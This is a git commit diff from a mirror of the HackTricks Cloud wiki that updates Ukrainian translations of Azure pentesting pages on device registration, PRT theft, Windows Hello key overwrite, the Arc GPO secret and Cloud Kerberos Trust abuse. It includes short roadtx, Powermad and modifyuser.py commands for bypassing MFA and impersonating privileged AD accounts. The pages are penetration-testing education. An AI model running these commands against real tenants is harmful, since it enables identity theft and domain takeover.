mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-06 04:41:21 -08:00
Translated ['src/pentesting-cloud/azure-security/az-device-registration.
This commit is contained in:
Translator
@@ -442,22 +442,19 @@
|
||||
- [Az - Azure Network](pentesting-cloud/azure-security/az-services/vms/az-azure-network.md)
|
||||
- [Az - Permissions for a Pentest](pentesting-cloud/azure-security/az-permissions-for-a-pentest.md)
|
||||
- [Az - Lateral Movement (Cloud - On-Prem)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md)
|
||||
- [Az AD Connect - Hybrid Identity](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md)
|
||||
- [Az - Hybrid Identity Misc Attacks](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md)
|
||||
- [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md)
|
||||
- [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md)
|
||||
- [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md)
|
||||
- [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md)
|
||||
- [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-domain-services.md)
|
||||
- [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md)
|
||||
- [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md)
|
||||
- [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md)
|
||||
- [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md)
|
||||
- [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-kerberos-trust.md)
|
||||
- [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md)
|
||||
- [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md)
|
||||
- [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md)
|
||||
- [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md)
|
||||
- [Az - Hybrid Identity Misc Attacks](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-hybrid-identity-misc-attacks.md)
|
||||
- [Az - Local Cloud Credentials](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md)
|
||||
- [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md)
|
||||
- [Az - Pass the Certificate](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md)
|
||||
- [Az - Pass the PRT](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md)
|
||||
- [Az - Processes Memory Access Token](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md)
|
||||
- [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md)
|
||||
- [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md)
|
||||
- [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md)
|
||||
- [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md)
|
||||
- [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md)
|
||||
- [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md)
|
||||
- [Az - CosmosDB Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md)
|
||||
|
||||
@@ -6,15 +6,15 @@
|
||||
|
||||
Коли пристрій приєднується до AzureAD, у AzureAD створюється новий об'єкт.
|
||||
|
||||
При реєстрації пристрою **користувачеві пропонується увійти зі своїм обліковим записом** (запит на MFA, якщо потрібно), потім запитуються токени для служби реєстрації пристроїв, а потім з'являється запит на остаточне підтвердження.
|
||||
При реєстрації пристрою **користувача просять увійти зі своїм обліковим записом** (запит на MFA, якщо потрібно), потім запитуються токени для служби реєстрації пристроїв і потім з'являється фінальний запит на підтвердження.
|
||||
|
||||
Потім у пристрої генеруються дві пари ключів RSA: **ключ пристрою** (**публічний** ключ), який надсилається до **AzureAD**, і **транспортний** ключ (**приватний** ключ), який зберігається в TPM, якщо це можливо.
|
||||
|
||||
Потім у **AzureAD** створюється **об'єкт** (не в Intune), і AzureAD повертає пристрою **сертифікат**, підписаний ним. Ви можете перевірити, що **пристрій приєднано до AzureAD** та інформацію про **сертифікат** (наприклад, чи захищений він TPM).
|
||||
Потім у **AzureAD** генерується **об'єкт** (не в Intune), і AzureAD повертає пристрою **сертифікат**, підписаний ним. Ви можете перевірити, що **пристрій приєднано до AzureAD** та інформацію про **сертифікат** (наприклад, чи захищений він TPM).
|
||||
```bash
|
||||
dsregcmd /status
|
||||
```
|
||||
Після реєстрації пристрою **Primary Refresh Token** запитується модулем LSASS CloudAP і надається пристрою. Разом з PRT також передається **ключ сесії, зашифрований так, щоб тільки пристрій міг його розшифрувати** (використовуючи відкритий ключ транспортного ключа) і він **необхідний для використання PRT.**
|
||||
Після реєстрації пристрою **Primary Refresh Token** запитується модулем LSASS CloudAP і передається пристрою. Разом з PRT також надається **ключ сесії, зашифрований так, щоб тільки пристрій міг його розшифрувати** (використовуючи відкритий ключ транспортного ключа), і він **необхідний для використання PRT.**
|
||||
|
||||
Для отримання додаткової інформації про те, що таке PRT, перегляньте:
|
||||
|
||||
@@ -22,20 +22,20 @@ dsregcmd /status
|
||||
az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
|
||||
{{#endref}}
|
||||
|
||||
### TPM - Довірчий модуль платформи
|
||||
### TPM - Модуль довіреної платформи
|
||||
|
||||
**TPM** **захищає** від витоку ключів **з витягування** з вимкненого пристрою (якщо захищено PIN-кодом) та від витягування приватних матеріалів з рівня ОС.\
|
||||
**TPM** **захищає** від витоку ключів **з пристрою, що вимкнений** (якщо захищений PIN) та від витоку приватних матеріалів з ОС.\
|
||||
Але він **не захищає** від **перехоплення** фізичного з'єднання між TPM і ЦП або **використання криптографічних матеріалів** у TPM, поки система працює з процесу з правами **SYSTEM**.
|
||||
|
||||
Якщо ви переглянете наступну сторінку, ви побачите, що **викрадення PRT** може бути використано для доступу як **користувач**, що є чудово, оскільки **PRT розташовані на пристроях**, тому їх можна вкрасти (або, якщо не вкрадені, зловживати для генерації нових підписних ключів):
|
||||
Якщо ви переглянете наступну сторінку, ви побачите, що **викрадення PRT** може бути використано для доступу як **користувача**, що є чудово, оскільки **PRT розташовані на пристроях**, тому їх можна вкрасти (або, якщо не вкрадені, зловживати для генерації нових підписних ключів):
|
||||
|
||||
{{#ref}}
|
||||
az-lateral-movement-cloud-on-prem/pass-the-prt.md
|
||||
az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
|
||||
{{#endref}}
|
||||
|
||||
## Реєстрація пристрою з токенами SSO
|
||||
|
||||
Зловмисник міг би запитати токен для служби реєстрації пристроїв Microsoft з компрометованого пристрою та зареєструвати його:
|
||||
Атакуючий міг би запитати токен для служби реєстрації пристроїв Microsoft з скомпрометованого пристрою та зареєструвати його:
|
||||
```bash
|
||||
# Initialize SSO flow
|
||||
roadrecon auth prt-init
|
||||
@@ -47,7 +47,7 @@ roadrecon auth -r 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 --prt-cookie <cookie>
|
||||
# Custom pyhton script to register a device (check roadtx)
|
||||
registerdevice.py
|
||||
```
|
||||
Який надасть вам **сертифікат, який ви можете використовувати для запиту PRT у майбутньому**. Таким чином, підтримуючи стійкість і **обминаючи MFA**, оскільки оригінальний токен PRT, використаний для реєстрації нового пристрою, **вже мав надані дозволи MFA**.
|
||||
Який надасть вам **сертифікат, який ви можете використовувати для запиту PRT у майбутньому**. Таким чином, підтримуючи постійність і **обминаючи MFA**, оскільки оригінальний токен PRT, використаний для реєстрації нового пристрою, **вже мав дозволи на MFA**.
|
||||
|
||||
> [!TIP]
|
||||
> Зверніть увагу, що для виконання цієї атаки вам знадобляться дозволи на **реєстрацію нових пристроїв**. Також реєстрація пристрою не означає, що пристрій буде **дозволено зареєструватися в Intune**.
|
||||
@@ -55,9 +55,9 @@ registerdevice.py
|
||||
> [!CAUTION]
|
||||
> Цю атаку виправили у вересні 2021 року, оскільки ви більше не можете реєструвати нові пристрої, використовуючи токени SSO. Однак все ще можливо легітимно реєструвати пристрої (маючи ім'я користувача, пароль і MFA, якщо потрібно). Перевірте: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md).
|
||||
|
||||
## Перезаписування квитка пристрою
|
||||
## Перезапис квитка пристрою
|
||||
|
||||
Було можливим **запросити квиток пристрою**, **перезаписати** поточний квиток пристрою і під час процесу **викрасти PRT** (тому немає потреби викрадати його з TPM. Для отримання додаткової інформації [**перевірте цю доповідь**](https://youtu.be/BduCn8cLV1A).
|
||||
Було можливим **запитати квиток пристрою**, **перезаписати** поточний квиток пристрою, і під час процесу **викрасти PRT** (тому немає потреби викрадати його з TPM. Для отримання додаткової інформації [**перевірте цю доповідь**](https://youtu.be/BduCn8cLV1A).
|
||||
|
||||
<figure><img src="../../images/image (32).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -72,11 +72,11 @@ registerdevice.py
|
||||
|
||||
- Можливо **перезаписати** **зареєстрований ключ WHFB** з **пристрою** через SSO
|
||||
- Це **обминає захист TPM**, оскільки ключ **перехоплюється під час генерації** нового ключа
|
||||
- Це також забезпечує **стійкість**
|
||||
- Це також забезпечує **постійність**
|
||||
|
||||
<figure><img src="../../images/image (34).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Користувачі можуть змінювати свою власну властивість searchableDeviceKey через Azure AD Graph, однак атакуючий повинен мати пристрій у тенанті (зареєстрований на льоту або викравши сертифікат + ключ з легітимного пристрою) і дійсний токен доступу для AAD Graph.
|
||||
Користувачі можуть змінювати свою власну властивість searchableDeviceKey через Azure AD Graph, однак зловмисник повинен мати пристрій у тенанті (зареєстрований на льоту або викравши сертифікат + ключ з легітимного пристрою) і дійсний токен доступу для AAD Graph.
|
||||
|
||||
Тоді можливо згенерувати новий ключ за допомогою:
|
||||
```bash
|
||||
@@ -86,7 +86,7 @@ roadtx genhellokey -d <device id> -k tempkey.key
|
||||
|
||||
<figure><img src="../../images/image (36).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Можливо отримати токен доступу від користувача через **фішинг за допомогою коду пристрою** і зловживати попередніми кроками, щоб **викрасти його доступ**. Для отримання додаткової інформації перевірте:
|
||||
Можливо отримати токен доступу від користувача через **device code phishing** і зловживати попередніми кроками, щоб **викрасти його доступ**. Для отримання додаткової інформації перевірте:
|
||||
|
||||
{{#ref}}
|
||||
az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md
|
||||
|
||||
@@ -1,65 +1,39 @@
|
||||
# Az - Бічний Рух (Хмара - На місці)
|
||||
|
||||
## Az - Бічний Рух (Хмара - На місці)
|
||||
# Az - Lateral Movement (Cloud - On-Prem)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### На місцевих машинах, підключених до хмари
|
||||
## Основна інформація
|
||||
|
||||
Існують різні способи підключення машини до хмари:
|
||||
Цей розділ охоплює техніки півотування для переміщення з скомпрометованого Entra ID тенанта в локальний Active Directory (AD) або з скомпрометованого AD в Entra ID тенант.
|
||||
|
||||
#### Приєднано до Azure AD
|
||||
## Техніки півотування
|
||||
|
||||
<figure><img src="../../../images/image (259).png" alt=""><figcaption></figcaption></figure>
|
||||
- [**Arc Vulnerable GPO Desploy Script**](az-arc-vulnerable-gpo-deploy-script.md): Якщо зловмисник може контролювати або створити обліковий запис комп'ютера AD і отримати доступ до спільного використання розгортання GPO Azure Arc, він може розшифрувати збережений секрет Service Principal і використовувати його для автентифікації в Azure як асоційований сервісний принципал, повністю скомпрометувавши пов'язане середовище Azure.
|
||||
|
||||
#### Приєднано до робочого місця
|
||||
- [**Cloud Kerberos Trust**](az-cloud-kerberos-trust.md): Як півотувати з Entra ID в AD, коли налаштовано Cloud Kerberos Trust. Глобальний адміністратор в Entra ID (Azure AD) може зловживати Cloud Kerberos Trust і API синхронізації, щоб видавати себе за облікові записи AD з високими привілеями, отримувати їх квитки Kerberos або NTLM хеші та повністю скомпрометувати локальний Active Directory — навіть якщо ці облікові записи ніколи не були синхронізовані з хмарою — ефективно забезпечуючи ескалацію привілеїв з хмари до AD.
|
||||
|
||||
<figure><img src="../../../images/image (222).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large">https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large</a></p></figcaption></figure>
|
||||
- [**Cloud Sync**](az-cloud-sync.md): Як зловживати Cloud Sync для переміщення з хмари в локальний AD і навпаки.
|
||||
|
||||
#### Гібридне приєднання
|
||||
- [**Connect Sync**](az-connect-sync.md): Як зловживати Connect Sync для переміщення з хмари в локальний AD і навпаки.
|
||||
|
||||
<figure><img src="../../../images/image (178).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large">https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large</a></p></figcaption></figure>
|
||||
- [**Domain Services**](az-domain-services.md): Що таке служба Azure Domain Services і як півотувати з Entra ID в AD, який вона генерує.
|
||||
|
||||
#### Приєднано до робочого місця на AADJ або Гібридному
|
||||
- [**Federation**](az-federation.md): Як зловживати Федерацією для переміщення з хмари в локальний AD і навпаки.
|
||||
|
||||
<figure><img src="../../../images/image (252).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large">https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large</a></p></figcaption></figure>
|
||||
- [**Hybrid Misc Attacks**](az-hybrid-identity-misc-attacks.md): Різноманітні атаки, які можна використовувати для півотування з хмари в локальний AD і навпаки.
|
||||
|
||||
### Токени та обмеження <a href="#tokens-and-limitations" id="tokens-and-limitations"></a>
|
||||
- [**Local Cloud Credentials**](az-local-cloud-credentials.md): Де знайти облікові дані до хмари, коли ПК скомпрометовано.
|
||||
|
||||
В Azure AD існують різні типи токенів з конкретними обмеженнями:
|
||||
- [**Pass the Certificate**](az-pass-the-certificate.md): Генерувати сертифікат на основі PRT для входу з одного комп'ютера на інший.
|
||||
|
||||
- **Токени доступу**: Використовуються для доступу до API та ресурсів, таких як Microsoft Graph. Вони прив'язані до конкретного клієнта та ресурсу.
|
||||
- **Токени оновлення**: Видаються додаткам для отримання нових токенів доступу. Вони можуть використовуватися лише додатком, якому вони були видані, або групою додатків.
|
||||
- **Основні токени оновлення (PRT)**: Використовуються для єдиного входу на пристроях, приєднаних до Azure AD, зареєстрованих або гібридно приєднаних. Вони можуть використовуватися в потоках входу через браузер та для входу в мобільні та настільні додатки на пристрої.
|
||||
- **Ключі Windows Hello for Business (WHFB)**: Використовуються для безпарольної аутентифікації. Вони використовуються для отримання основних токенів оновлення.
|
||||
- [**Pass the Cookie**](az-pass-the-cookie.md): Вкрасти куки Azure з браузера і використовувати їх для входу.
|
||||
|
||||
Найцікавіший тип токена - це основний токен оновлення (PRT).
|
||||
- [**Primary Refresh Token/Pass the PRT/Phishing PRT**](az-primary-refresh-token-prt.md): Що таке PRT, як його вкрасти і використовувати для доступу до ресурсів Azure, видаючи себе за користувача.
|
||||
|
||||
{{#ref}}
|
||||
az-primary-refresh-token-prt.md
|
||||
{{#endref}}
|
||||
- [**PtA - Pass through Authentication**](az-pta-pass-through-authentication.md): Як зловживати Pass-through Authentication для переміщення з хмари в локальний AD і навпаки.
|
||||
|
||||
### Техніки Півотування
|
||||
- [**Seamless SSO**](az-seamless-sso.md): Як зловживати Seamless SSO для переміщення з локального в хмару.
|
||||
|
||||
Від **зламаної машини до хмари**:
|
||||
|
||||
- [**Pass the Cookie**](az-pass-the-cookie.md): Вкрасти куки Azure з браузера та використовувати їх для входу
|
||||
- [**Dump processes access tokens**](az-processes-memory-access-token.md): Вивантажити пам'ять локальних процесів, синхронізованих з хмарою (як excel, Teams...) та знайти токени доступу у відкритому тексті.
|
||||
- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** Фішинг PRT для його зловживання
|
||||
- [**Pass the PRT**](pass-the-prt.md): Вкрасти PRT пристрою для доступу до Azure, видаючи себе за нього.
|
||||
- [**Pass the Certificate**](az-pass-the-certificate.md)**:** Згенерувати сертифікат на основі PRT для входу з однієї машини на іншу
|
||||
|
||||
Від компрометації **AD** до компрометації **Хмари** та від компрометації **Хмари** до компрометації **AD**:
|
||||
|
||||
- [**Azure AD Connect**](azure-ad-connect-hybrid-identity/)
|
||||
- **Інший спосіб півотування з хмари на місце** [**зловживання Intune**](../az-services/intune.md)
|
||||
|
||||
#### [Roadtx](https://github.com/dirkjanm/ROADtools)
|
||||
|
||||
Цей інструмент дозволяє виконувати кілька дій, таких як реєстрація машини в Azure AD для отримання PRT, та використовувати PRT (легітимні або вкрадені) для доступу до ресурсів різними способами. Це не прямі атаки, але це полегшує використання PRT для доступу до ресурсів різними способами. Знайдіть більше інформації на [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/)
|
||||
|
||||
## Посилання
|
||||
|
||||
- [https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
|
||||
- **Ще один спосіб півотування з хмари в локальний** [**зловживання Intune**](../az-services/intune.md)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -13,7 +13,7 @@ Azure Arc дозволяє інтегрувати нові внутрішні с
|
||||
|
||||
При запуску цього скрипта адміністраторам систем потрібно надати два основні параметри: **ServicePrincipalId** та **ServicePrincipalClientSecret**. Крім того, потрібні інші параметри, такі як домен, FQDN сервера, що хостить загальний доступ, та ім'я загального доступу. Додаткові деталі, такі як ідентифікатор орендаря, група ресурсів та інша необхідна інформація також повинні бути надані скрипту.
|
||||
|
||||
Зашифрований секрет генерується в каталозі AzureArcDeploy на вказаному загальному доступі за допомогою шифрування DPAPI-NG. Зашифрований секрет зберігається у файлі з назвою encryptedServicePrincipalSecret. Доказ цього можна знайти у скрипті DeployGPO.ps1, де шифрування виконується шляхом виклику ProtectBase64 з $descriptor та $ServicePrincipalSecret як вхідними даними. Дескриптор складається з SID груп комп'ютерів домену та контролерів домену, що забезпечує, що ServicePrincipalSecret може бути розшифрований лише групами безпеки контролерів домену та комп'ютерів домену, як зазначено в коментарях до скрипту.
|
||||
Зашифрований секрет генерується в каталозі AzureArcDeploy на вказаному загальному доступі за допомогою шифрування DPAPI-NG. Зашифрований секрет зберігається у файлі з назвою encryptedServicePrincipalSecret. Доказом цього є скрипт DeployGPO.ps1, де шифрування виконується шляхом виклику ProtectBase64 з $descriptor та $ServicePrincipalSecret як вхідними даними. Дескриптор складається з SID груп комп'ютерів домену та контролерів домену, що забезпечує, що ServicePrincipalSecret може бути розшифрований лише контролерами домену та групами безпеки комп'ютерів домену, як зазначено в коментарях до скрипту.
|
||||
```bash
|
||||
# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
|
||||
$DomainComputersSID = "SID=" + $DomainComputersSID
|
||||
@@ -35,7 +35,7 @@ $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSe
|
||||
Import-MKodule powermad
|
||||
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
|
||||
```
|
||||
Якщо обліковий запис машини отримано, можна автентифікуватися, використовуючи цей обліковий запис. Ми можемо або використовувати команду runas.exe з прапором netonly, або використовувати pass-the-ticket з Rubeus.exe.
|
||||
Отримавши обліковий запис машини, можна аутентифікуватися, використовуючи цей обліковий запис. Ми можемо або використовувати команду runas.exe з прапором netonly, або використовувати pass-the-ticket з Rubeus.exe.
|
||||
```bash
|
||||
runas /user:fake01$ /netonly powershell
|
||||
```
|
||||
|
||||
@@ -2,43 +2,43 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Ця стаття є резюме** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **яке можна перевірити для отримання додаткової інформації про атаку. Цю техніку також коментують у** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.**
|
||||
**Ця стаття є резюме** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **яке можна перевірити для отримання додаткової інформації про атаку. Цю техніку також обговорюють у** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.**
|
||||
|
||||
## Огляд відносин довіри Kerberos
|
||||
|
||||
**Cloud Kerberos Trust (Entra ID -> AD)** -- Ця функція (частина Windows Hello for Business) встановлює односторонню довіру, де on-prem AD **довіряє Entra ID** для видачі квитків Kerberos для AD. Увімкнення цієї функції створює об'єкт комп'ютера **AzureADKerberos$** в AD (який з'являється як контролер домену тільки для читання) і пов'язаний обліковий запис **`krbtgt_AzureAD`** (додатковий KRBTGT). Entra ID зберігає ключі для цих облікових записів і може видавати "часткові" TGT Kerberos для користувачів AD. Контролери домену AD визнають ці квитки, але з обмеженнями, подібними до RODC: за замовчуванням **групи з високими привілеями (Domain Admins, Enterprise Admins тощо) *заборонені***, а звичайним користувачам дозволено. Це запобігає Entra ID від автентифікації доменних адміністраторів через довіру за звичайних умов. Однак, як ми побачимо, зловмисник з достатніми привілеями Entra ID може зловживати цим дизайном довіри.
|
||||
**Cloud Kerberos Trust (Entra ID -> AD)** -- Ця функція (частина Windows Hello for Business) встановлює односторонню довіру, де on-prem AD **довіряє Entra ID** для видачі квитків Kerberos для AD. Увімкнення цієї функції створює об'єкт комп'ютера **AzureADKerberos$** в AD (який з'являється як Контролер домену тільки для читання) та пов'язаний обліковий запис **`krbtgt_AzureAD`** (додатковий KRBTGT). Entra ID зберігає ключі для цих облікових записів і може видавати "часткові" TGT Kerberos для користувачів AD. Контролери домену AD визнають ці квитки, але з обмеженнями, подібними до RODC: за замовчуванням **групам з високими привілеями (Domain Admins, Enterprise Admins тощо) *відмовлено***, а звичайним користувачам дозволено. Це запобігає Entra ID від автентифікації доменних адміністраторів через довіру в нормальних умовах. Однак, як ми побачимо, зловмисник з достатніми привілеями Entra ID може зловживати цим дизайном довіри.
|
||||
|
||||
## Поворот з Entra ID до On-Prem AD
|
||||
|
||||
**Сценарій:** Цільова організація має **Cloud Kerberos Trust** увімкненим для безпарольної автентифікації. Зловмисник отримав **привілеї Глобального адміністратора** в Entra ID (Azure AD), але ще **не** контролює on-prem AD. Зловмисник також має доступ до мережі контролера домену (через VPN або Azure VM в гібридній мережі). Використовуючи довіру в хмарі, зловмисник може скористатися контролем Azure AD, щоб отримати доступ на рівні **Domain Admin** в AD.
|
||||
**Сценарій:** Цільова організація має **Cloud Kerberos Trust** увімкненим для безпарольної автентифікації. Зловмисник отримав **Global Administrator** привілеї в Entra ID (Azure AD), але ще **не** контролює on-prem AD. Зловмисник також має доступ до мережі контролера домену (через VPN або Azure VM в гібридній мережі). Використовуючи довіру в хмарі, зловмисник може скористатися контролем Azure AD, щоб отримати **Domain Admin**-рівень доступу в AD.
|
||||
|
||||
**Передумови:**
|
||||
|
||||
- **Cloud Kerberos Trust** налаштовано в гібридному середовищі (індикатор: обліковий запис `AzureADKerberos$` RODC існує в AD).
|
||||
|
||||
- Зловмисник має права **Глобального адміністратора (або Гібридного адміністратора ідентичності)** в орендарі Entra ID (ці ролі можуть використовувати **API синхронізації** AD Connect для зміни користувачів Azure AD).
|
||||
- Зловмисник має права **Global Admin (або Hybrid Identity Admin)** в орендарі Entra ID (ці ролі можуть використовувати **API синхронізації** AD Connect для зміни користувачів Azure AD).
|
||||
|
||||
- Принаймні один **гібридний обліковий запис користувача** (існує як в AD, так і в AAD), під яким зловмисник може автентифікуватися. Це може бути отримано, знаючи або скидаючи його облікові дані або призначаючи безпарольний метод (наприклад, Тимчасовий доступний пропуск) для генерації основного токена оновлення (PRT) для нього.
|
||||
- Принаймні один **гібридний обліковий запис користувача** (існує в AD та AAD), під яким зловмисник може автентифікуватися. Це можна отримати, знаючи або скидаючи його облікові дані або призначивши безпарольний метод (наприклад, Тимчасовий доступний пропуск) для генерації первинного токена оновлення (PRT) для нього.
|
||||
|
||||
- Обліковий запис **цілі на on-prem AD** з високими привілеями, який *не* входить до стандартної політики "заборони" RODC. На практиці, чудовою ціллю є **обліковий запис синхронізації AD Connect** (часто називається **MSOL_***), який має права DCSync (реплікації) в AD, але зазвичай не є членом вбудованих адміністративних груп. Цей обліковий запис зазвичай не синхронізується з Entra ID, що робить його SID доступним для підробки без конфлікту.
|
||||
- **Обліковий запис цільового on-prem AD** з високими привілеями, який *не* входить до стандартної політики "відмови" RODC. На практиці, хорошою ціллю є **обліковий запис синхронізації AD Connect** (часто називається **MSOL_***), який має права DCSync (реплікації) в AD, але зазвичай не є членом вбудованих адміністративних груп. Цей обліковий запис зазвичай не синхронізується з Entra ID, що робить його SID доступним для підробки без конфлікту.
|
||||
|
||||
**Кроки атаки:**
|
||||
|
||||
1. **Отримати доступ до API синхронізації Azure AD:** Використовуючи обліковий запис Глобального адміністратора, отримайте токен доступу для **API Provisioning (sync) Azure AD**. Це можна зробити за допомогою інструментів, таких як **ROADtools** або **AADInternals**. Наприклад, з ROADtools (roadtx):
|
||||
1. **Отримати доступ до API синхронізації Azure AD:** Використовуючи обліковий запис Global Admin, отримайте токен доступу для **API Provisioning (sync)** Azure AD. Це можна зробити за допомогою інструментів, таких як **ROADtools** або **AADInternals**. Наприклад, з ROADtools (roadtx):
|
||||
```bash
|
||||
# Using roadtx to get an Azure AD Graph token (no MFA)
|
||||
roadtx gettokens -u <GlobalAdminUPN> -p <Password> --resource aadgraph
|
||||
```
|
||||
*(Альтернативно, `Connect-AADInt` від AADInternals може бути використано для автентифікації як Global Admin.)*
|
||||
*(Альтернативно, можна використовувати `Connect-AADInt` від AADInternals для автентифікації як Global Admin.)*
|
||||
|
||||
2. **Змінити локальні атрибути гібридного користувача:** Використовуйте Azure AD **API синхронізації** для встановлення обраного гібридного користувача **onPremises Security Identifier (SID)** та **onPremises SAMAccountName** так, щоб вони відповідали цільовому обліковому запису AD. Це ефективно повідомляє Azure AD, що хмарний користувач відповідає локальному обліковому запису, який ми хочемо видати за себе. Використовуючи відкритий набір інструментів **ROADtools Hybrid**:
|
||||
2. **Змінити атрибути гібридного користувача на локальному рівні:** Використовуйте Azure AD **API синхронізації** для встановлення вибраного гібридного користувача **onPremises Security Identifier (SID)** та **onPremises SAMAccountName** так, щоб вони відповідали цільовому обліковому запису AD. Це ефективно повідомляє Azure AD, що хмарний користувач відповідає локальному обліковому запису, який ми хочемо видати за себе. Використовуючи відкритий набір інструментів **ROADtools Hybrid**:
|
||||
```bash
|
||||
# Example: modify a hybrid user to impersonate the MSOL account
|
||||
python3 modifyuser.py -u <GlobalAdminUPN> -p <Password>\
|
||||
--sourceanchor <ImmutableID_of_User>\
|
||||
--sid <TargetAD_SID> --sam <TargetAD_SAMName>
|
||||
```
|
||||
> `sourceAnchor` (незмінний ID) користувача потрібен для ідентифікації об'єкта Azure AD, який потрібно змінити. Інструмент встановлює SID та ім'я облікового запису SAM гібридного користувача на значення цільового (наприклад, SID та SAM облікового запису MSOL_xxxx). Azure AD зазвичай не дозволяє змінювати ці атрибути через Graph (вони є лише для читання), але API служби синхронізації це дозволяє, і Глобальні адміністратори можуть викликати цю функціональність синхронізації.
|
||||
> `sourceAnchor` (незмінний ID) користувача потрібен для ідентифікації об'єкта Azure AD, який потрібно змінити. Інструмент встановлює SID та ім'я облікового запису SAM гібридного користувача на значення цільового (наприклад, SID та SAM облікового запису MSOL_xxxx). Azure AD зазвичай не дозволяє змінювати ці атрибути через Graph (вони лише для читання), але API служби синхронізації це дозволяє, і Глобальні адміністратори можуть викликати цю функціональність синхронізації.
|
||||
|
||||
